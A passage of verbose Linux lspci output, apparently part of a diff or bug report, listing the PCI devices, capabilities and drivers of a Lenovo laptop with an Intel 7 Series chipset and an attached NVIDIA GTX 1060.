DisINTx+ + Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Latency: 0 + Interrupt: pin A routed to IRQ 32 + IOMMU group: 3 + Region 0: Memory at f2535000 (64-bit, non-prefetchable) [size=16] + Capabilities: [50] Power Management version 3 + Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0+,D1-,D2-,D3hot+,D3cold+) + Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME- + Capabilities: [8c] MSI: Enable+ Count=1/1 Maskable- 64bit+ + Address: 00000000fee00378 Data: 0000 + Kernel driver in use: mei_me + Kernel modules: mei_me + +00:16.3 Serial controller: Intel Corporation 7 Series/C210 Series Chipset Family KT Controller (rev 04) (prog-if 02 [16550]) + Subsystem: Lenovo Device 21fa + Control: I/O+ Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- + Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Interrupt: pin B routed to IRQ 19 + IOMMU group: 3 + Region 0: I/O ports at 70b0 [size=8] + Region 1: Memory at f253c000 (32-bit, non-prefetchable) [size=4K] + Capabilities: [c8] Power Management version 3 + Flags: PMEClk- DSI+ D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) + Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME- + Capabilities: [d0] MSI: Enable- Count=1/1 Maskable- 64bit+ + Address: 0000000000000000 Data: 0000 + Kernel driver in use: serial + +00:19.0 Ethernet controller: Intel Corporation 82579LM Gigabit Network Connection (Lewisville) (rev 04) + Subsystem: Lenovo Device 21f3 + Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ + Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Latency: 0 + Interrupt: pin A routed to IRQ 31 + IOMMU group: 4 + Region 0: Memory at f2500000 (32-bit, non-prefetchable) [size=128K] + Region 1: Memory at f253b000 (32-bit, non-prefetchable) [size=4K] + Region 2: I/O ports at 7080 [size=32] + Capabilities: [c8] Power Management version 2 + Flags: PMEClk- DSI+ D1- D2- AuxCurrent=0mA PME(D0+,D1-,D2-,D3hot+,D3cold+) + Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=1 PME- + Capabilities: [d0] MSI: Enable+ Count=1/1 Maskable- 64bit+ + Address: 00000000fee00358 Data: 0000 + Capabilities: [e0] PCI Advanced Features + AFCap: TP+ FLR+ + AFCtrl: FLR- + AFStatus: TP- + Kernel driver in use: e1000e + Kernel modules: e1000e + +00:1a.0 USB controller: Intel Corporation 7 Series/C216 Chipset Family USB Enhanced Host Controller #2 (rev 04) (prog-if 20 [EHCI]) + Subsystem: Lenovo Device 21fa + Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- + Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Latency: 0 + Interrupt: pin A routed to IRQ 16 + IOMMU group: 5 + Region 0: Memory at f253a000 (32-bit, non-prefetchable) [size=1K] + Capabilities: [50] Power Management version 2 + Flags: PMEClk- DSI- D1- D2- AuxCurrent=375mA PME(D0+,D1-,D2-,D3hot+,D3cold+) + Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- + Capabilities: [58] Debug port: BAR=1 offset=00a0 + Capabilities: [98] PCI Advanced Features + AFCap: TP+ FLR+ + AFCtrl: FLR- + AFStatus: TP- + Kernel driver in use: ehci-pci + Kernel modules: ehci_pci + +00:1b.0 Audio device: Intel Corporation 7 Series/C216 Chipset Family High Definition Audio Controller (rev 04) + Subsystem: Lenovo Device 21fa + Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ + Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Latency: 0, Cache Line Size: 64 bytes + Interrupt: pin A routed to IRQ 34 + IOMMU group: 6 + Region 0: Memory at f2530000 (64-bit, non-prefetchable) [size=16K] + Capabilities: [50] Power Management version 2 + Flags: PMEClk- DSI- D1- D2- AuxCurrent=55mA PME(D0+,D1-,D2-,D3hot+,D3cold+) + Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- + Capabilities: [60] MSI: Enable+ Count=1/1 Maskable- 64bit+ + Address: 00000000fee003b8 Data: 0000 + Capabilities: [70] Express (v1) Root Complex Integrated Endpoint, MSI 00 + DevCap: MaxPayload 128 bytes, PhantFunc 0 + ExtTag- RBE- FLReset+ + DevCtl: CorrErr- NonFatalErr- FatalErr- UnsupReq- + RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset- + MaxPayload 128 bytes, MaxReadReq 128 bytes + DevSta: CorrErr- NonFatalErr- FatalErr- UnsupReq- AuxPwr+ TransPend- + Capabilities: [100 v1] Virtual Channel + Caps: LPEVC=0 RefClk=100ns PATEntryBits=1 + Arb: Fixed- WRR32- WRR64- WRR128- + Ctrl: ArbSelect=Fixed + Status: InProgress- + VC0: Caps: PATOffset=00 MaxTimeSlots=1 RejSnoopTrans- + Arb: Fixed- WRR32- WRR64- WRR128- TWRR128- WRR256- + Ctrl: Enable+ ID=0 ArbSelect=Fixed TC/VC=01 + Status: NegoPending- InProgress- + VC1: Caps: PATOffset=00 MaxTimeSlots=1 RejSnoopTrans- + Arb: Fixed- WRR32- WRR64- WRR128- TWRR128- WRR256- + Ctrl: Enable+ ID=1 ArbSelect=Fixed TC/VC=22 + Status: NegoPending- InProgress- + Capabilities: [130 v1] Root Complex Link + Desc: PortNumber=0f ComponentID=00 EltType=Config + Link0: Desc: TargetPort=00 TargetComponent=00 AssocRCRB- LinkType=MemMapped LinkValid+ + Addr: 00000000fed1c000 + Kernel driver in use: snd_hda_intel + Kernel modules: snd_hda_intel + +00:1c.0 PCI bridge: Intel Corporation 7 Series/C216 Chipset Family PCI Express Root Port 1 (rev c4) (prog-if 00 [Normal decode]) + Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ + Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Latency: 0, Cache Line Size: 64 bytes + Interrupt: pin A routed to IRQ 26 + IOMMU group: 7 + Bus: primary=00, secondary=02, subordinate=02, sec-latency=0 + I/O behind bridge: 00006000-00006fff [size=4K] + Memory behind bridge: f1d00000-f24fffff [size=8M] + Prefetchable memory behind bridge: 00000000f0400000-00000000f0bfffff [size=8M] + Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort+ <SERR- <PERR- + BridgeCtl: Parity- SERR+ NoISA- VGA- VGA16- MAbort- >Reset- FastB2B- + PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn- + Capabilities: [40] Express (v2) Root Port (Slot+), MSI 00 + DevCap: MaxPayload 128 bytes, PhantFunc 0 + ExtTag- RBE+ + DevCtl: CorrErr- NonFatalErr- FatalErr- UnsupReq- + RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- + MaxPayload 128 bytes, MaxReadReq 128 bytes + DevSta: CorrErr- NonFatalErr- FatalErr- UnsupReq- AuxPwr+ TransPend- + LnkCap: Port #1, Speed 5GT/s, Width x1, ASPM L0s L1, Exit Latency L0s <512ns, L1 <16us + ClockPM- Surprise- LLActRep+ BwNot- ASPMOptComp- + LnkCtl: ASPM L1 Enabled; RCB 64 bytes, Disabled- CommClk+ + ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt- + LnkSta: Speed 2.5GT/s (downgraded), Width x1 (ok) + TrErr- Train- SlotClk+ DLActive+ BWMgmt+ ABWMgmt- + SltCap: AttnBtn- PwrCtrl- MRL- AttnInd- PwrInd- HotPlug+ Surprise+ + Slot #0, PowerLimit 10.000W; Interlock- NoCompl+ + SltCtl: Enable: AttnBtn- PwrFlt- MRL- PresDet+ CmdCplt- HPIrq- LinkChg- + Control: AttnInd Unknown, PwrInd Unknown, Power- Interlock- + SltSta: Status: AttnBtn- PowerFlt- MRL- CmdCplt- PresDet+ Interlock- + Changed: MRL- PresDet- LinkState- + RootCap: CRSVisible- + RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible- + RootSta: PME ReqID 0000, PMEStatus- PMEPending- + DevCap2: Completion Timeout: Range BC, TimeoutDis+ NROPrPrP- LTR- + 10BitTagComp- 10BitTagReq- OBFF Not Supported, ExtFmt- EETLPPrefix- + EmergencyPowerReduction Not Supported, EmergencyPowerReductionInit- + FRS- LN System CLS Not Supported, TPHComp- ExtTPHComp- ARIFwd- + AtomicOpsCap: Routing- 32bit- 64bit- 128bitCAS- + DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis- LTR- OBFF Disabled, ARIFwd- + AtomicOpsCtl: ReqEn- EgressBlck- + LnkCtl2: Target Link Speed: 5GT/s, EnterCompliance- SpeedDis- + Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS- + Compliance De-emphasis: -6dB + LnkSta2: Current De-emphasis Level: -3.5dB, EqualizationComplete- EqualizationPhase1- + EqualizationPhase2- EqualizationPhase3- LinkEqualizationRequest- + Retimer- 2Retimers- CrosslinkRes: unsupported + Capabilities: [80] MSI: Enable+ Count=1/1 Maskable- 64bit- + Address: fee00218 Data: 0000 + Capabilities: [90] Subsystem: Lenovo Device 21fa + Capabilities: [a0] Power Management version 2 + Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0+,D1-,D2-,D3hot+,D3cold+) + Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- + Kernel driver in use: pcieport + +00:1c.1 PCI bridge: Intel Corporation 7 Series/C210 Series Chipset Family PCI Express Root Port 2 (rev c4) (prog-if 00 [Normal decode]) + Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ + Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Latency: 0, Cache Line Size: 64 bytes + Interrupt: pin B routed to IRQ 27 + IOMMU group: 8 + Bus: primary=00, secondary=03, subordinate=03, sec-latency=0 + I/O behind bridge: 00005000-00005fff [size=4K] + Memory behind bridge: f1c00000-f1cfffff [size=1M] + Prefetchable memory behind bridge: 00000000fff00000-00000000000fffff [disabled] + Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort+ <SERR- <PERR- + BridgeCtl: Parity- SERR+ NoISA- VGA- VGA16- MAbort- >Reset- FastB2B- + PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn- + Capabilities: [40] Express (v2) Root Port (Slot+), MSI 00 + DevCap: MaxPayload 128 bytes, PhantFunc 0 + ExtTag- RBE+ + DevCtl: CorrErr- NonFatalErr- FatalErr- UnsupReq- + RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- + MaxPayload 128 bytes, MaxReadReq 128 bytes + DevSta: CorrErr- NonFatalErr- FatalErr- UnsupReq- AuxPwr+ TransPend- + LnkCap: Port #2, Speed 5GT/s, Width x1, ASPM L0s L1, Exit Latency L0s <512ns, L1 <16us + ClockPM- Surprise- LLActRep+ BwNot- ASPMOptComp- + LnkCtl: ASPM L1 Enabled; RCB 64 bytes, Disabled- CommClk+ + ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt- + LnkSta: Speed 2.5GT/s (downgraded), Width x1 (ok) + TrErr- Train- SlotClk+ DLActive+ BWMgmt+ ABWMgmt- + SltCap: AttnBtn- PwrCtrl- MRL- AttnInd- PwrInd- HotPlug- Surprise- + Slot #1, PowerLimit 10.000W; Interlock- NoCompl+ + SltCtl: Enable: AttnBtn- PwrFlt- MRL- PresDet- CmdCplt- HPIrq- LinkChg- + Control: AttnInd Unknown, PwrInd Unknown, Power- Interlock- + SltSta: Status: AttnBtn- PowerFlt- MRL- CmdCplt- PresDet+ Interlock- + Changed: MRL- PresDet- LinkState+ + RootCap: CRSVisible- + RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible- + RootSta: PME ReqID 0000, PMEStatus- PMEPending- + DevCap2: Completion Timeout: Range BC, TimeoutDis+ NROPrPrP- LTR- + 10BitTagComp- 10BitTagReq- OBFF Not Supported, ExtFmt- EETLPPrefix- + EmergencyPowerReduction Not Supported, EmergencyPowerReductionInit- + FRS- LN System CLS Not Supported, TPHComp- ExtTPHComp- ARIFwd- + AtomicOpsCap: Routing- 32bit- 64bit- 128bitCAS- + DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis- LTR- OBFF Disabled, ARIFwd- + AtomicOpsCtl: ReqEn- EgressBlck- + LnkCtl2: Target Link Speed: 5GT/s, EnterCompliance- SpeedDis- + Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS- + Compliance De-emphasis: -6dB + LnkSta2: Current De-emphasis Level: -3.5dB, EqualizationComplete- EqualizationPhase1- + EqualizationPhase2- EqualizationPhase3- LinkEqualizationRequest- + Retimer- 2Retimers- CrosslinkRes: unsupported + Capabilities: [80] MSI: Enable+ Count=1/1 Maskable- 64bit- + Address: fee00258 Data: 0000 + Capabilities: [90] Subsystem: Lenovo Device 21fa + Capabilities: [a0] Power Management version 2 + Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0+,D1-,D2-,D3hot+,D3cold+) + Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- + Kernel driver in use: pcieport + +00:1c.2 PCI bridge: Intel Corporation 7 Series/C210 Series Chipset Family PCI Express Root Port 3 (rev c4) (prog-if 00 [Normal decode]) + Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ + Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Latency: 0, Cache Line Size: 64 bytes + Interrupt: pin C routed to IRQ 28 + IOMMU group: 9 + Bus: primary=00, secondary=04, subordinate=0b, sec-latency=0 + I/O behind bridge: 00004000-00004fff [size=4K] + Memory behind bridge: f1400000-f1bfffff [size=8M] + Prefetchable memory behind bridge: 00000000f0c00000-00000000f13fffff [size=8M] + Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort+ <SERR- <PERR- + BridgeCtl: Parity- SERR+ NoISA- VGA- VGA16- MAbort- >Reset- FastB2B- + PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn- + Capabilities: [40] Express (v2) Root Port (Slot+), MSI 00 + DevCap: MaxPayload 128 bytes, PhantFunc 0 + ExtTag- RBE+ + DevCtl: CorrErr- NonFatalErr- FatalErr- UnsupReq- + RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- + MaxPayload 128 bytes, MaxReadReq 128 bytes + DevSta: CorrErr- NonFatalErr- FatalErr- UnsupReq- AuxPwr+ TransPend- + LnkCap: Port #3, Speed 5GT/s, Width x1, ASPM L0s L1, Exit Latency L0s <512ns, L1 <16us + ClockPM- Surprise- LLActRep+ BwNot- ASPMOptComp- + LnkCtl: ASPM L0s L1 Enabled; RCB 64 bytes, Disabled- CommClk+ + ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt- + LnkSta: Speed 5GT/s (ok), Width x1 (ok) + TrErr- Train- SlotClk+ DLActive+ BWMgmt+ ABWMgmt- + SltCap: AttnBtn- PwrCtrl- MRL- AttnInd- PwrInd- HotPlug+ Surprise+ + Slot #2, PowerLimit 10.000W; Interlock- NoCompl+ + SltCtl: Enable: AttnBtn- PwrFlt- MRL- PresDet+ CmdCplt- HPIrq- LinkChg- + Control: AttnInd Unknown, PwrInd Unknown, Power- Interlock- + SltSta: Status: AttnBtn- PowerFlt- MRL- CmdCplt- PresDet+ Interlock- + Changed: MRL- PresDet- LinkState- + RootCap: CRSVisible- + RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible- + RootSta: PME ReqID 0000, PMEStatus- PMEPending- + DevCap2: Completion Timeout: Range BC, TimeoutDis+ NROPrPrP- LTR- + 10BitTagComp- 10BitTagReq- OBFF Not Supported, ExtFmt- EETLPPrefix- + EmergencyPowerReduction Not Supported, EmergencyPowerReductionInit- + FRS- LN System CLS Not Supported, TPHComp- ExtTPHComp- ARIFwd- + AtomicOpsCap: Routing- 32bit- 64bit- 128bitCAS- + DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis- LTR- OBFF Disabled, ARIFwd- + AtomicOpsCtl: ReqEn- EgressBlck- + LnkCtl2: Target Link Speed: 5GT/s, EnterCompliance- SpeedDis- + Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS- + Compliance De-emphasis: -6dB + LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete- EqualizationPhase1- + EqualizationPhase2- EqualizationPhase3- LinkEqualizationRequest- + Retimer- 2Retimers- CrosslinkRes: unsupported + Capabilities: [80] MSI: Enable+ Count=1/1 Maskable- 64bit- + Address: fee00298 Data: 0000 + Capabilities: [90] Subsystem: Lenovo Device 21fa + Capabilities: [a0] Power Management version 2 + Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0+,D1-,D2-,D3hot+,D3cold+) + Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- + Kernel driver in use: pcieport + +00:1d.0 USB controller: Intel Corporation 7 Series/C216 Chipset Family USB Enhanced Host Controller #1 (rev 04) (prog-if 20 [EHCI]) + Subsystem: Lenovo Device 21fa + Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- + Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Latency: 0 + Interrupt: pin A routed to IRQ 23 + IOMMU group: 10 + Region 0: Memory at f2539000 (32-bit, non-prefetchable) [size=1K] + Capabilities: [50] Power Management version 2 + Flags: PMEClk- DSI- D1- D2- AuxCurrent=375mA PME(D0+,D1-,D2-,D3hot+,D3cold+) + Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- + Capabilities: [58] Debug port: BAR=1 offset=00a0 + Capabilities: [98] PCI Advanced Features + AFCap: TP+ FLR+ + AFCtrl: FLR- + AFStatus: TP- + Kernel driver in use: ehci-pci + Kernel modules: ehci_pci + +00:1f.0 ISA bridge: Intel Corporation QM77 Express Chipset LPC Controller (rev 04) + Subsystem: Lenovo Device 21fa + Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- + Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Latency: 0 + IOMMU group: 11 + Capabilities: [e0] Vendor Specific Information: Len=0c <?> + Kernel driver in use: lpc_ich + Kernel modules: lpc_ich + +00:1f.2 SATA controller: Intel Corporation 7 Series Chipset Family 6-port SATA Controller [AHCI mode] (rev 04) (prog-if 01 [AHCI 1.0]) + Subsystem: Lenovo Device 21fa + Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ + Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Latency: 0 + Interrupt: pin B routed to IRQ 29 + IOMMU group: 11 + Region 0: I/O ports at 70a8 [size=8] + Region 1: I/O ports at 70bc [size=4] + Region 2: I/O ports at 70a0 [size=8] + Region 3: I/O ports at 70b8 [size=4] + Region 4: I/O ports at 7060 [size=32] + Region 5: Memory at f2538000 (32-bit, non-prefetchable) [size=2K] + Capabilities: [80] MSI: Enable+ Count=1/1 Maskable- 64bit- + Address: fee002d8 Data: 0000 + Capabilities: [70] Power Management version 3 + Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot+,D3cold-) + Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME- + Capabilities: [a8] SATA HBA v1.0 BAR4 Offset=00000004 + Capabilities: [b0] PCI Advanced Features + AFCap: TP+ FLR+ + AFCtrl: FLR- + AFStatus: TP- + Kernel driver in use: ahci + +00:1f.3 SMBus: Intel Corporation 7 Series/C216 Chipset Family SMBus Controller (rev 04) + Subsystem: Lenovo Device 21fa + Control: I/O+ Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- + Status: Cap- 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Interrupt: pin C routed to IRQ 18 + IOMMU group: 11 + Region 0: Memory at f2534000 (64-bit, non-prefetchable) [size=256] + Region 4: I/O ports at efa0 [size=32] + Kernel driver in use: i801_smbus + Kernel modules: i2c_i801 + +02:00.0 System peripheral: Ricoh Co Ltd PCIe SDXC/MMC Host Controller (rev 07) (prog-if 01) + Subsystem: Lenovo Device 21fa + Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- + Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Latency: 0, Cache Line Size: 64 bytes + Interrupt: pin A routed to IRQ 16 + IOMMU group: 12 + Region 0: Memory at f1d00000 (32-bit, non-prefetchable) [size=256] + Capabilities: [50] MSI: Enable- Count=1/1 Maskable- 64bit+ + Address: 0000000000000000 Data: 0000 + Capabilities: [78] Power Management version 3 + Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=0mA PME(D0+,D1+,D2+,D3hot+,D3cold+) + Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=2 PME- + Capabilities: [80] Express (v1) Endpoint, MSI 00 + DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s unlimited, L1 unlimited + ExtTag- AttnBtn+ AttnInd+ PwrInd+ RBE+ FLReset- SlotPowerLimit 10.000W + DevCtl: CorrErr- NonFatalErr- FatalErr- UnsupReq- + RlxdOrd+ ExtTag- PhantFunc- AuxPwr- NoSnoop+ + MaxPayload 128 bytes, MaxReadReq 512 bytes + DevSta: CorrErr+ NonFatalErr- FatalErr- UnsupReq+ AuxPwr- TransPend- + LnkCap: Port #1, Speed 2.5GT/s, Width x1, ASPM L0s L1, Exit Latency L0s <4us, L1 unlimited + ClockPM+ Surprise- LLActRep- BwNot- ASPMOptComp- + LnkCtl: ASPM L1 Enabled; RCB 64 bytes, Disabled- CommClk+ + ExtSynch- ClockPM+ AutWidDis- BWInt- AutBWInt- + LnkSta: Speed 2.5GT/s (ok), Width x1 (ok) + TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt- + Capabilities: [100 v1] Virtual Channel + Caps: LPEVC=0 RefClk=100ns PATEntryBits=1 + Arb: Fixed- WRR32- WRR64- WRR128- + Ctrl: ArbSelect=Fixed + Status: InProgress- + VC0: Caps: PATOffset=00 MaxTimeSlots=1 RejSnoopTrans- + Arb: Fixed- WRR32- WRR64- WRR128- TWRR128- WRR256- + Ctrl: Enable+ ID=0 ArbSelect=Fixed TC/VC=ff + Status: NegoPending- InProgress- + Capabilities: [800 v1] Advanced Error Reporting + UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol- + UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol- + UESvrt: DLP+ SDES+ TLP- FCP+ CmpltTO- CmpltAbrt- UnxCmplt- RxOF+ MalfTLP+ ECRC- UnsupReq- ACSViol- + CESta: RxErr+ BadTLP- BadDLLP- Rollover- Timeout- AdvNonFatalErr+ + CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- AdvNonFatalErr+ + AERCap: First Error Pointer: 00, ECRCGenCap+ ECRCGenEn- ECRCChkCap+ ECRCChkEn- + MultHdrRecCap- MultHdrRecEn- TLPPfxPres- HdrLogCap- + HeaderLog: 00000000 00000000 00000000 00000000 + Kernel driver in use: sdhci-pci + Kernel modules: sdhci_pci + +03:00.0 Network controller: Realtek Semiconductor Co., Ltd. RTL8188CE 802.11b/g/n WiFi Adapter (rev 01) + Subsystem: Realtek Semiconductor Co., Ltd. Device 8195 + Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- + Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Latency: 0, Cache Line Size: 64 bytes + Interrupt: pin A routed to IRQ 17 + IOMMU group: 13 + Region 0: I/O ports at 5000 [size=256] + Region 2: Memory at f1c00000 (64-bit, non-prefetchable) [size=16K] + Capabilities: [40] Power Management version 3 + Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=375mA PME(D0+,D1+,D2+,D3hot+,D3cold+) + Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME- + Capabilities: [50] MSI: Enable- Count=1/1 Maskable- 64bit+ + Address: 0000000000000000 Data: 0000 + Capabilities: [70] Express (v2) Endpoint, MSI 00 + DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <512ns, L1 <64us + ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset- SlotPowerLimit 10.000W + DevCtl: CorrErr- NonFatalErr- FatalErr- UnsupReq- + RlxdOrd+ ExtTag- PhantFunc- AuxPwr- NoSnoop- + MaxPayload 128 bytes, MaxReadReq 512 bytes + DevSta: CorrErr+ NonFatalErr- FatalErr- UnsupReq+ AuxPwr+ TransPend- + LnkCap: Port #0, Speed 2.5GT/s, Width x1, ASPM L0s L1, Exit Latency L0s <512ns, L1 <64us + ClockPM+ Surprise- LLActRep- BwNot- ASPMOptComp- + LnkCtl: ASPM L0s L1 Enabled; RCB 64 bytes, Disabled- CommClk+ + ExtSynch- ClockPM+ AutWidDis- BWInt- AutBWInt- + LnkSta: Speed 2.5GT/s (ok), Width x1 (ok) + TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt- + DevCap2: Completion Timeout: Not Supported, TimeoutDis+ NROPrPrP- LTR- + 10BitTagComp- 10BitTagReq- OBFF Not Supported, ExtFmt- EETLPPrefix- + EmergencyPowerReduction Not Supported, EmergencyPowerReductionInit- + FRS- TPHComp- ExtTPHComp- + AtomicOpsCap: 32bit- 64bit- 128bitCAS- + DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis+ LTR- OBFF Disabled, + AtomicOpsCtl: ReqEn- + LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis- + Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS- + Compliance De-emphasis: -6dB + LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete- EqualizationPhase1- + EqualizationPhase2- EqualizationPhase3- LinkEqualizationRequest- + Retimer- 2Retimers- CrosslinkRes: unsupported + Capabilities: [100 v1] Advanced Error Reporting + UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol- + UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol- + UESvrt: DLP+ SDES+ TLP- FCP+ CmpltTO- CmpltAbrt- UnxCmplt- RxOF+ MalfTLP+ ECRC- UnsupReq- ACSViol- + CESta: RxErr+ BadTLP- BadDLLP+ Rollover- Timeout- AdvNonFatalErr+ + CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- AdvNonFatalErr+ + AERCap: First Error Pointer: 00, ECRCGenCap+ ECRCGenEn- ECRCChkCap+ ECRCChkEn- + MultHdrRecCap- MultHdrRecEn- TLPPfxPres- HdrLogCap- + HeaderLog: 00000000 00000000 00000000 00000000 + Capabilities: [140 v1] Virtual Channel + Caps: LPEVC=0 RefClk=100ns PATEntryBits=1 + Arb: Fixed- WRR32- WRR64- WRR128- + Ctrl: ArbSelect=Fixed + Status: InProgress- + VC0: Caps: PATOffset=00 MaxTimeSlots=1 RejSnoopTrans- + Arb: Fixed- WRR32- WRR64- WRR128- TWRR128- WRR256- + Ctrl: Enable+ ID=0 ArbSelect=Fixed TC/VC=ff + Status: NegoPending- InProgress- + Capabilities: [160 v1] Device Serial Number 01-91-81-fe-ff-4c-e0-00 + Kernel driver in use: rtl8192ce + Kernel modules: rtl8192ce + +04:00.0 VGA compatible controller: NVIDIA Corporation GP106 [GeForce GTX 1060 6GB] (rev a1) (prog-if 00 [VGA controller]) + Subsystem: ASUSTeK Computer Inc. Device 85b6 + Physical Slot: 1 + Control: I/O+ Mem- BusMaster- SpecCycle- MemWINV- 